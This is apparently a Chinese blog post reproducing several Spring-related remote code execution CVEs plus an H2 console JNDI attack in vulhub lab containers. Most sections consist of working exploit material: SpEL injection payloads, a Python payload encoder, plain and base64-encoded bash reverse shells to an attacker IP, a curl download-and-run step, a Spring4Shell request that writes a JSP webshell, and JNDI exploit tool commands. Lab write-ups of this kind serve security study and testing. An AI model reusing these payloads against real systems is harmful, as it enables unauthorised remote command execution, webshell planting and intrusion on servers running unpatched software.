vulhub-Spring

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

一 漏洞描述

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/spring/CVE-2016-4977]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

访问ip:端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G4I6FaH3-1664723967086)(../../../../img/spring/0.png)]

字符串漏洞检测 账号密码admin

http://192.168.1.240:8080/oauth/authorize?response_type=${1*1}&client_id=acme&scope=openid&redirect_uri=http://test

在这里插入图片描述

编写反弹shell

bash -i >& /dev/tcp/192.168.1.162/9999 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

利用poc.py 进行ascii编码,这里python要用3以上的版本

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)
python poc.py

在链接中response_type中添加编译后的字符串

在这里插入图片描述

四 参考链接

https://blog.csdn.net/qq_54713392/article/details/116520223


Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

一 漏洞描述

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/spring/CVE-2017-4971]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

访问ip:port,左边为用户登录
在这里插入图片描述

Search String中输入1,填写信息,来到确定订单的界面,使用burp抓包,点击confirm。

修改数据包,反弹shell部分进行url编码

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.1.162/1234 0>&1")).start()=aaa

_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.162/123q4 0>%261")).start()=aaa

在这里插入图片描述

nc监听反弹shell
在这里插入图片描述

四 参考链接

https://silentx.gitee.io/2022/09/11/spring/

Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

一 漏洞描述

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

影响版本

Spring Data REST组件的2.6.9 and 3.0.9之前的版本(不包含2.6.9和3.0.9 )
Spring Boot (如果使用了Spring Data REST模块)的1.5.9 和 2.0 M6之前的版本

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/spring/CVE-2017-8046]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

访问ip:port

在这里插入图片描述

使用py脚本将反弹shell的payload转为ASCII码

payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'
bcode = ','.join(str(i) for i in list(payload))
print(bcode)

在这里插入图片描述

nc反弹shell

在这里插入图片描述

四 修复建议

官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞

五 参考链接

https://silentx.gitee.io/2022/09/11/spring/


Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

一 漏洞描述

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/spring/CVE-2018-1270]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

访问your-ip:port,在浏览器数据包中找到app.js,更改connect()函数

可直接在console控制台,修改后,在页面点击connect,输入name 发送

在这里插入图片描述

function connect() {
	var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('touch /1.txt')"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
       },header);
    });
}

发现创建文件成功
在这里插入图片描述
修改payload反弹shell

function connect() {
	var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}')"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
       },header);
    });
}

在这里插入图片描述

nc反弹shell

在这里插入图片描述

五 参考链接

https://silentx.gitee.io/2022/09/11/spring/


Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一 漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/spring/CVE-2018-1273]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

访问your-ip:port,抓取数据包,修改表单

POST: username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("PAYLOAD")]=&password=&repeatedPassword=

在这里插入图片描述

攻击机,编写反弹shell,同时开启服务

bash -i >& /dev/tcp/192.168.1.162/1234 0>&1 
python -m http.server 6666

curl使靶机远程下载反弹shell的脚本

curl -o /tmp/shell.sh http://192.168.1.162:6666/exp.sh

在这里插入图片描述

继续发包,更改exp.sh权限,并执行

chmod +x /tmp/shell.sh
/bin/bash /tmp/shell.sh

nc反弹

在这里插入图片描述

五 参考链接

https://silentx.gitee.io/2022/09/11/spring/


Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)

一 漏洞描述

Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

vulhub-master/spring/CVE-2022-22963]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

发包进行反弹shell

POST /functionRouter HTTP/1.1
Host: 192.168.1.240:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 4

test

nc反弹

在这里插入图片描述

五 参考链接
https://silentx.gitee.io/2022/09/11/spring/


Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞

一 漏洞描述

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

影响版本

Spring Framework < 5.3.18
Spring Framework < 5.2.20

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

vulhub-master/spring/CVE-2022-22965]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

访问对应的controller,这里设置了日志的文件名、文件路径、以及后缀名,将后缀名设置为.jsp,然后不断地写入执行命令的jsp代码,从而实现webshell的写入,还需要补充cookie

http://192.168.1.240:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

删除以下字段

cookie: JSESSIONID=xxxxxx
Upgrade-Insecure-Requests: 1
sec-Fetch-Dest: document
sec-Fetch-Mode: navigatesec-Fetch-site: none
sec-Fetch-User: ?1
Cache-Control: max-age=0

添加字段

suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2

在这里插入图片描述

访问http://192.168.1.240/tomcatwar.jsp?pwd=j&cmd=whoami

在这里插入图片描述

四 参考链接

https://silentx.gitee.io/2022/09/11/spring/


H2 Database Console 未授权访问

一 漏洞描述

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/h2database/h2-console-unacc]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

下载JNDI工具

https://github.com/welk1n/JNDI-Injection-Exploit

编译反弹shell

bash -i >& /dev/tcp/192.168.1.162/1234 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzEyMzQgMD4mMQ==

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.1.162

在这里插入图片描述

在http://192.168.1.240:8080/h2-console/提交表单后,点击连接即可反弹shell

表单信息:
javax.naming.InitialContext
rmi://192.168.1.162:1099/jledoe

在这里插入图片描述
四 参考链接

https://silentx.gitee.io/2022/09/11/spring/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值